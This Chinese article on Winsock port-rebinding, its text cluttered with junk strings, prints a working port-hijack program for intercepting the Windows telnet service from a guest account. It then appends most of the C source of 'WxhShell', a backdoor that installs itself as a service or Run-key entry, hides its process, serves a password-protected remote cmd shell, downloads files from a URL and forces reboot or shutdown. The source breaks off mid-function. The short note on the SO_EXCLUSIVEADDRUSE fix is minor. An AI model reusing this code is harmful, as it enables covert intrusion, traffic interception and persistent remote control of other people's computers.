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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xkx&'/QG,U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fpjFO&ML vO"E4s saddr.sin_family = AF_INET; =>Z4vWX* q3-cWfU saddr.sin_addr.s_addr = htonl(INADDR_ANY); )' ,dP)b CN-4FI)1D9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <&B]p rW~G' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $ntC{a>& qX6zk0I a 这意味着什么?意味着可以进行如下的攻击: ?vF8 y;Jh i!JSEQ_8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &Q\k`0vzVB ZD$I-33W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zH~g5xgh "
;8kKR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Sn.I{~ u8<Fk
! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -%[6q :,/
\E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |qf9-36 G&M)n*o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1.~^QH\p?3 ,s@S`KS0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *_Pkb.3R NX]6RZr- #include w#bdb; #include '$ G%HUn #include T0\[":
A #include xFp9H'j{ DWORD WINAPI ClientThread(LPVOID lpParam); Nk F2'Z{$+ int main() ,p..h+l { ::/vDUDc WORD wVersionRequested; &,]yqG 2 DWORD ret; N$Tzxs WSADATA wsaData; g^\>hjNX BOOL val; wG22ffaki
SOCKADDR_IN saddr; ty9(mtH+ SOCKADDR_IN scaddr; L'>0E(D int err; 3);Wgh6 SOCKET s; '1\UFz SOCKET sc; h#|A c>fz int caddsize; T=pKen/ HANDLE mt; `M_w^&6+n DWORD tid; &v+Hl^ wVersionRequested = MAKEWORD( 2, 2 ); q&wv{ err = WSAStartup( wVersionRequested, &wsaData ); -$D#u if ( err != 0 ) { kAoh#8= printf("error!WSAStartup failed!\n"); @Z9>E+udQ return -1; H<`7){iG } `
B+Pl6l)F saddr.sin_family = AF_INET; >9Y0t^Fl (i^<er q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TIP H#W:v #~qY%X saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7I {rhA saddr.sin_port = htons(23); FOX0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ery{>|k { 8uetv printf("error!socket failed!\n"); 1swqs7rR| return -1; V"sm+0J } I;?np val = TRUE; (_~Dyvo //SO_REUSEADDR选项就是可以实现端口重绑定的 G\S_e7$/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K%>3ev=y.s { T7XbbU printf("error!setsockopt failed!\n"); ebB8.(k9G3 return -1; zLV k7u{e } =xHzhh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &vS @-K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +}!FP3KgT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #TY[\$BHs ^g N?Io if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CLY>M`%?+p { zzyD'n7D ret=GetLastError(); uB3Yl=P printf("error!bind failed!\n"); DUu~s,A return -1; je~gk6}Y } [c#?@S_ listen(s,2);
4B=@<(H while(1) TInp6w+u { fhQ}Z%$ caddsize = sizeof(scaddr);
$T}Dn[. //接受连接请求 @RVj~J.A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^o6&|q if(sc!=INVALID_SOCKET) 6SmawPPP { zvP>8[
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }q[IhjD% if(mt==NULL) {(qH8A { E@^mlUf printf("Thread Creat Failed!\n"); 3!KEk?I] break; -#"7F:N1 } )u(Dq u\t } _^u^@.Q'i< CloseHandle(mt); 8AVG pL } +h?z7ZY^ closesocket(s); 3r,^is WSACleanup(); i?pC[Ao-_ return 0; )qV&sru.$ } (
G# W6 DWORD WINAPI ClientThread(LPVOID lpParam) O_/|Wx { pj9s=}1 ' SOCKET ss = (SOCKET)lpParam; !7fVO2m T SOCKET sc; *f( e`3E unsigned char buf[4096]; qz/d6-0" SOCKADDR_IN saddr; rA#Ji~ long num; 14;lB.$p DWORD val; [I7([l1Wvd DWORD ret; 9\D 0mjn=l //如果是隐藏端口应用的话,可以在此处加一些判断 ,2_!hm/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "jG-)k`a saddr.sin_family = AF_INET; x$\w^h\F saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #mcU);s saddr.sin_port = htons(23); maTZNzy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &C7HG^;W9 { h9L/.>CX printf("error!socket failed!\n"); VyL|d^'f_ return -1; Ks-aJ+} } s.G6?1VXlY val = 100; 9,zM.g9Qv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -S %)2(f^ { R~&i8n. ret = GetLastError(); K~JXP5`( return -1; z("Fy } P",E/beV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Y ;\1J<b1 { trC+Etc ret = GetLastError(); eEG]JH return -1; Co#_Cyxg=9 } F"M$ "rC] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2r|!:^'?W { jB-)/8.qk printf("error!socket connect failed!\n"); #XlE_XD closesocket(sc); v/B:n
closesocket(ss); {<3>^ o|" return -1; qxe%RYdA'j } kGX;x}q while(1) hMiuv_EO! { 3qc o2{nz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SZm)`r\A //如果是嗅探内容的话,可以再此处进行内容分析和记录 pD>^Dfd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z.7'yJIP# num = recv(ss,buf,4096,0); 0fTEb%z8 if(num>0) uJ! yM;{+ send(sc,buf,num,0); X519}
l3 else if(num==0) 9w! G break; SLze) ?. num = recv(sc,buf,4096,0); 0w_2E if(num>0) q;V1fogqI) send(ss,buf,num,0); I2wT]L UV else if(num==0) :9E_L2M break; ~?c}=XL- } 5E+k}S]M$ closesocket(ss); igW>C2J closesocket(sc); /B?hM&@z return 0 ; Um$a9S8b& } ]3E':JM@ cCj pQ plY`lqm ========================================================== 2.K"+% ]PnE% 下边附上一个代码,,WXhSHELL dIo|i,- ,Wp0,>! ========================================================== N3};M~\ N
-]m <z> #include "stdafx.h" "F+Wo& R<!WW9IM #include <stdio.h> N!fp;jvG #include <string.h> YJ5;a\QxN #include <windows.h> A*h)p@3t< #include <winsock2.h> uK?T<3]' #include <winsvc.h> Z6b3gV #include <urlmon.h> )W@H K6,5C0 #pragma comment (lib, "Ws2_32.lib") >oc7=F<8lS #pragma comment (lib, "urlmon.lib") 2#Au6BvX |yI?}zyR #define MAX_USER 100 // 最大客户端连接数 9tS&$-
#define BUF_SOCK 200 // sock buffer \~ #define KEY_BUFF 255 // 输入 buffer
YV 9*B ^3`98y.Q #define REBOOT 0 // 重启 @ %z5]w #define SHUTDOWN 1 // 关机 ?.A6HrAPB p Nu13o~ #define DEF_PORT 5000 // 监听端口 $gZ|=(y&r 1ezQzc2-R #define REG_LEN 16 // 注册表键长度 \Mlj
7.u] #define SVC_LEN 80 // NT服务名长度 r/Pg,si y|KDh'Y // 从dll定义API nWZrB s
_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a~ REFy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }7$\F!R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T6H"ER$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $zCUQthL@ hJ:Hv.{`)W // wxhshell配置信息 >[xQUf,p struct WSCFG { McnP>n int ws_port; // 监听端口 xDr
*|d char ws_passstr[REG_LEN]; // 口令 `T9<}&=! int ws_autoins; // 安装标记, 1=yes 0=no fWm;cDM
H char ws_regname[REG_LEN]; // 注册表键名 +N4h
Q" char ws_svcname[REG_LEN]; // 服务名 dl{3fldb char ws_svcdisp[SVC_LEN]; // 服务显示名 .^kTb2$X char ws_svcdesc[SVC_LEN]; // 服务描述信息 C-6+ZIk4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m Xw1%w[* int ws_downexe; // 下载执行标记, 1=yes 0=no iCx'`^HnP char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 1xtbhk]D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T
|j^ k LD)<D }; r9vC&pWZ nMc-kyl{ // default Wxhshell configuration [1vrv(u> struct WSCFG wscfg={DEF_PORT, cRg$~rYd "xuhuanlingzhe", 8'cD K[L 1, mI`dZ3h "Wxhshell", eB]ZnJ2^= "Wxhshell", U3U eTa_ "WxhShell Service", alu`T
c~ "Wrsky Windows CmdShell Service", <g %xo" "Please Input Your Password: ", 2dI:],7 1, g*]<]%Py" " http://www.wrsky.com/wxhshell.exe", Z=H
fOC "Wxhshell.exe" E{Q^ZSV3B }; Sdt
@"6 Ahebr{u // 消息定义模块 A qm0|GlJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lq&xlW
j char *msg_ws_prompt="\n\r? for help\n\r#>"; %Bo Jt-v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; z`_N|iEd char *msg_ws_ext="\n\rExit."; '",5Bu#C char *msg_ws_end="\n\rQuit."; ?QMs< char *msg_ws_boot="\n\rReboot..."; QWP_8$Q char *msg_ws_poff="\n\rShutdown..."; QTyl=z7 char *msg_ws_down="\n\rSave to "; PHOW,8)dZh BW*zj=N% char *msg_ws_err="\n\rErr!"; !kz\
{ char *msg_ws_ok="\n\rOK!"; ,#m\W8j (nzzX?`nY char ExeFile[MAX_PATH]; CRf^6k_;( int nUser = 0; j"dbl?og HANDLE handles[MAX_USER]; @rdC/=Y[ int OsIsNt; {oZ]1Qf_ $H9xM SERVICE_STATUS serviceStatus; qy]-YJZ SERVICE_STATUS_HANDLE hServiceStatusHandle; BdYh: 8_LDS // 函数声明 r9U1 O@c int Install(void); cP
Y^Bf5) int Uninstall(void); AuCVpDH int DownloadFile(char *sURL, SOCKET wsh); XU54skN int Boot(int flag); n#R!`*[ void HideProc(void); {F4: int GetOsVer(void); ,8
.`; int Wxhshell(SOCKET wsl); ~+g5?y void TalkWithClient(void *cs); )Qc$UI8L int CmdShell(SOCKET sock);
e?7paJ int StartFromService(void); KXGs'D int StartWxhshell(LPSTR lpCmdLine); {xr]xcM'b i>~?XVU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <vrx8Q*6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mc6y'w nGt8u4gcP // 数据结构和表定义 GB=q}@&8p SERVICE_TABLE_ENTRY DispatchTable[] = :)z_q!$j { QJ/SP {wscfg.ws_svcname, NTServiceMain}, )v9[/
]*P {NULL, NULL} `#]\Wnp~y }; |bk*Lgkzw $1v5*E // 自我安装 xI@~I g int Install(void) A"'MRYT` { xEBjfn char svExeFile[MAX_PATH]; %L/=heBBd HKEY key; !2Orklzd1 strcpy(svExeFile,ExeFile); EDo
( sa` Yan // 如果是win9x系统,修改注册表设为自启动 qkIU>b,B if(!OsIsNt) { VPHCPGrk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]VvJ1Xn0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I ?>#neHc6 RegCloseKey(key); Y8PT`7gd` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Y>MsqwWfC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lK4+8VZ RegCloseKey(key); .bE,Q9: return 0; +[ItkfSod! } ZYA(Bg^ } ,:`6x[ + } ]c)SVn$6 else { Cu:Zn% $<v_Vm?6d // 如果是NT以上系统,安装为系统服务
,<1* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !A!\S/x4 if (schSCManager!=0) Ro<kp8 { q}5A^QX SC_HANDLE schService = CreateService c
#kV+n< ( +]-KzDsr"V schSCManager, ^NDX4d; wscfg.ws_svcname, MxR U6+a wscfg.ws_svcdisp, q3F5\6aN SERVICE_ALL_ACCESS, /<0D
E22 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q7|13^|C SERVICE_AUTO_START, yjd'{B9{ SERVICE_ERROR_NORMAL, ??Zmj:8E' svExeFile, A ? M]5d NULL, 6mdnEmFM] NULL, YJ$ewK4E#. NULL, L2'd sOn NULL, yf) `jPM1< NULL opMUt,4 ); 3J
T3;O if (schService!=0) Db(_T8sU { SbZt\a 8 CloseServiceHandle(schService); @@IA35'tc CloseServiceHandle(schSCManager); "Vq]|j,B/c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R`2A-c strcat(svExeFile,wscfg.ws_svcname); Z~c'h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <(4#4=ivP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y/H^*1 RegCloseKey(key); y.p6%E_` return 0; n=? 0g;1! } gvNZrp>e! } hFMst%:y$ CloseServiceHandle(schSCManager); -l H>8+ } hw$c@:pW; } ]<gCq/V # P0e ""9JOo return 1; EWIc|b: } uxyTu2L7 _1<'"u#6w // 自我卸载 :KSor}t int Uninstall(void) 99"[b { d:hL
)x HKEY key; EB5_; W Gw!Y1wq if(!OsIsNt) { 'd#\7J>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @f{_=~+ RegDeleteValue(key,wscfg.ws_regname); Y#&0x_Z RegCloseKey(key); RP,:[}mPl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6WN(22Io RegDeleteValue(key,wscfg.ws_regname); ;,=h59` RegCloseKey(key); ]}[Yf return 0; j;20JA/b } wD],{ y } 7grt4k } Ah>gC!F^ else { ?96-" l T5Sg2a1& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4b2mtLn_ if (schSCManager!=0) 6W;?8Z_1 { /Y[o=Uyl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); px|>v8 if (schService!=0) LR3`=Z9 { /*AJr if(DeleteService(schService)!=0) { 'sRg4?PT CloseServiceHandle(schService); -
LiPHHX< CloseServiceHandle(schSCManager); x(9;!4O> return 0; I{42'9 } HX3D*2v": CloseServiceHandle(schService); %e
Sm&` } b+IOh| CloseServiceHandle(schSCManager); eb!s'@ } 2"leUur~rO } )d}H>Qx= CYt jY~ return 1; 4L=$K2R2r } /WgPXE B "mPSA Z // 从指定url下载文件 V)0[`zJ int DownloadFile(char *sURL, SOCKET wsh) 'u(=eJ@1 { Cs:+93w HRESULT hr; F1gt3 ae char seps[]= "/"; q Vm"f,ruo char *token; {gFAvMj# char *file; d"B@c;dD char myURL[MAX_PATH]; P>*Fj4Z~ char myFILE[MAX_PATH]; @s%X AqV09 $ strcpy(myURL,sURL); Nfv="t9e token=strtok(myURL,seps); onnI ! while(token!=NULL) WI1T?.Gc { [D3+cDph file=token; lSH ZV
Fd token=strtok(NULL,seps); I&L.;~ } |DN^NhtE gtD GetCurrentDirectory(MAX_PATH,myFILE); )@}A
r strcat(myFILE, "\\"); (VgNb&Yo9 strcat(myFILE, file); tT;8r8@ send(wsh,myFILE,strlen(myFILE),0); X<(6T send(wsh,"...",3,0); Q_ctX|. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8y$5oD6g9 if(hr==S_OK) m8'@UzB return 0; -=>sTMWpr else C<_Urnmn return 1; oJ ^C]E O!;H}{[dg } {!L=u/qs" gs?8Wzh90* // 系统电源模块 *kP;{Cb` int Boot(int flag) qQ^d9EK'?~ { YWEYHr;%^? HANDLE hToken; tKwn~T TOKEN_PRIVILEGES tkp; $=/rGpAk 2Kjrw; if(OsIsNt) { C
8N%X2R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p"2m90IO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )1WMlG tkp.PrivilegeCount = 1; W3)\co tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AcKU^T+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B`i$Wt<7 if(flag==REBOOT) { ]D O&x+Rb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t<Ot|Ex return 0; /0(%(2jIWl } 0Z"s_r}h else { I_ONbJ9] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H<g 1m return 0; E, GN| l } W RF.[R" } '3^Q14`R else { P1MvtI4gm if(flag==REBOOT) { S#tY@h@XV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Ur7#h5 return 0; ! D$Ooamq } O5zE {# else { SrF x_n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #.H}r6jqs return 0; eeM?]J- } 8f|98T"
} => qTNh*' (-,>qMQs return 1; <YH=3[ } Jd_;@(Eg= 6kN:* // win9x进程隐藏模块 Zyu/|Og void HideProc(void) -\4zwIH { k2r3dO@q f"dSr
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L0L2Ns if ( hKernel != NULL ) lj4o#^lC { .fp&MgiQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vQ1 v#Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wksl0:BL FreeLibrary(hKernel); 5wv fF.v } rQb7?O@- t0Mx!p'T return; T7[NcZ:I } 2%]Z
Kd 'RbQj}@x // 获取操作系统版本 v+xB7w int GetOsVer(void) uOd&XW { Jxa4hM0 OSVERSIONINFO winfo; !Ms[eB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cj$d=k~ GetVersionEx(&winfo); ,eRQu. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5)UQWnd5 return 1; |ZiC`Nt else ) #+^
sAO return 0; H
C0w;MG) } xr%#dVk tU:EN;H // 客户端句柄模块 GpI!J}~m int Wxhshell(SOCKET wsl) a`!@+6yC { /.1.MssQM SOCKET wsh; O9"/
kmB struct sockaddr_in client; 2VGg 6% DWORD myID; .iHn5SGA UbamB+QT while(nUser<MAX_USER) +>\id~c( { [p;E~-S int nSize=sizeof(client); T~4N+fK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r]Lc9dL if(wsh==INVALID_SOCKET) return 1; 5ZY<JA3 ,|kDsR! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4\M.6])_ if(handles[nUser]==0) .2)
=vf'd closesocket(wsh); Sa1l=^ else kgi>}
% nUser++; De&6 9 } |r%D\EB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YXo|~p;=Y Qnd5X`jF# return 0; *%/~mSx } umi5Wb< QPtGdd // 关闭 socket ]X Z-o>+, void CloseIt(SOCKET wsh) {gbn/{ { L|@y&di closesocket(wsh); \*f;X aa nUser--; Vv1|51B ExitThread(0); PjA6Ji;Hu } ^z6_ Uw[ ,Uhb // 客户端请求句柄 )B,|@ynu void TalkWithClient(void *cs) a]
= { fjk\L\1 Ig]iT SOCKET wsh=(SOCKET)cs; n_ lo` char pwd[SVC_LEN]; z4M9M7)" char cmd[KEY_BUFF]; ABE@n%|` char chr[1]; #jA[9gWI int i,j; w}Uhd, +6wiOHB` while (nUser < MAX_USER) { >{\7&}gz J]f3CU,<N if(wscfg.ws_passstr) { D?XM,l+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;4N;D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5p.rwNE //ZeroMemory(pwd,KEY_BUFF); r'QnX;99T i=0; 2{|h8oz while(i<SVC_LEN) { U- )i+}Ng a:QDBS2Llv // 设置超时 jck}" N fd_set FdRead; Xd^\@
struct timeval TimeOut; .9Y)AtJTS FD_ZERO(&FdRead); i[wb0yL FD_SET(wsh,&FdRead); 3Zi@A4Wu TimeOut.tv_sec=8; `{qG1 TimeOut.tv_usec=0; "*G.EiLq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OS8q( 2z?s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (}}S9 K giz7{Ai if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "
Hd|7F'u= pwd =chr[0]; $56,$K`H if(chr[0]==0xd || chr[0]==0xa) { dAy?EO0\7 pwd=0; &x3VCsC\| break; b0oMs=uBn } rtc9wu i++; S~|T4q( } `r?7oxN :0h_K // 如果是非法用户,关闭 socket eUg~)m5G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T?X_c"{8M } F i0GknQ+ Hw4%uS==V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1')%`~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A{A\RSZ0 6fw(T.Pe while(1) { r(P(Rj2~ EVGt 5z ZeroMemory(cmd,KEY_BUFF); d@qsdYu-* :8OZ#D_Hl // 自动支持客户端 telnet标准 ^0 -:G6H j=0; sIy^m}02 while(j<KEY_BUFF) { 2 O%`G+\) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !_Wi!Vr_ cmd[j]=chr[0]; cI4K+ if(chr[0]==0xa || chr[0]==0xd) { .nVa[B|. cmd[j]=0; f.9SB
break; 3eF-8Z(f } aJ>65RJ^= j++; NGbG4-w- } Eqj_m|@ 2%_vXo=I // 下载文件 R21b!Pd\ if(strstr(cmd,"http://")) { C)`Fv=]R send(wsh,msg_ws_down,strlen(msg_ws_down),0); \hx1o\ if(DownloadFile(cmd,wsh)) XzEc2)0'v send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2 PF else sG92XJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %yv<y+yP~ } 73/P&hT else { SMpH._VFeE K/|Z$4S switch(cmd[0]) { kH
G"XTL Gz,i~XX // 帮助 '/^qJ7eb case '?': { 6">+
~
G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -;^j:L{ break; OCBgR4I } ~f$|HP} // 安装 *%%g{
3$ case 'i': { P\1L7%*lU if(Install()) HTX?,C_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9_Be0xgJ3^ else tMf}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lh7jux break; >n'o*gZM } t gI{`jS% // 卸载 snobT Q case 'r': { um!J]N^ if(Uninstall()) |)(VsVG& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G}x;Cp\D else 5Co send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =8AO: break; ;f#v0W`5 } ,!#*GZ.ix // 显示 wxhshell 所在路径 |$8~?7Jv case 'p': { %4et&zRC char svExeFile[MAX_PATH]; !dyXJQ strcpy(svExeFile,"\n\r"); d3ZdB4L strcat(svExeFile,ExeFile); {.C!i{| send(wsh,svExeFile,strlen(svExeFile),0); Xg|B \\ break; &Sw%<N*r }
D~S<U // 重启 T@2#6Tffo case 'b': {
mF*2#]%dx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q&s3wDl/ if(Boot(REBOOT)) dJJP3}M/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ql/cN%^j$ else { JTO~9>$ B closesocket(wsh); >s>1[W @* ExitThread(0); _x%7@.TB } uki#/GzaO break; $WyD^|~SF } vQosPS_2L // 关机 G&D7a/G\ case 'd': { -]/I73!b send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0m%|U'm|j if(Boot(SHUTDOWN)) 6&
e3Nt send(wsh,msg_ws_err,strlen(msg_ws_err),0); *X'Y$x>f else { [I'0,y closesocket(wsh); zM bN;tu ExitThread(0); F,W~,y } QdT}wkX break; ZZ2vvtlyG } )97SnCkal // 获取shell sGyeb5c case 's': { :o0JY= 5 CmdShell(wsh); UK595n;P closesocket(wsh); fkuLj%R ExitThread(0);
)j9SGLo break; EYtL_hNp}I } .`HYA*8_ // 退出 Yw4n-0g case 'x': { kpJ@M%46
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =5J7Hw&K CloseIt(wsh); K-bD<X break; ah+~y,Gl } d/PiiiFf, // 离开 $Z.7zH case 'q': { 'n{Nvt.c send(wsh,msg_ws_end,strlen(msg_ws_end),0); }YB*]<] closesocket(wsh); iq8GrdL" WSACleanup(); >p)MawT] exit(1); $+P>~X) break; .<jr0,i } [$qyF|/K`n } )U~=Pf" } +MR.>" (}{G`N>.{ // 提示信息 3kw,(-'1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [b6R% } D?;"9e% } {_7i8c<s= &ib5*4! return; fKeT,U`W } K~c=M",mW ;T"zV{;7BR // shell模块句柄 r"C int CmdShell(SOCKET sock) NG--6\ { D&od?3}E STARTUPINFO si; LCZ\4g05 ZeroMemory(&si,sizeof(si)); s%qF/70' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?ATOXy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Tf4WFu2 PROCESS_INFORMATION ProcessInfo; kjg~n9#T char cmdline[]="cmd"; 5~r33L% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V}J)\VZ2# return 0; Tu$f? } hWM<
0= @Fluc,Il // 自身启动模式 % W=b?: int StartFromService(void) ruc++@J@ { ?j40}
B]]d typedef struct ,I7E[LU { 6N",-c DWORD ExitStatus; =8t]\Y? DWORD PebBaseAddress; !B\R''J5 DWORD AffinityMask; W~zbm] DWORD BasePriority; 19HM])Zw\ ULONG UniqueProcessId; 'm4W}F ULONG InheritedFromUniqueProcessId; !
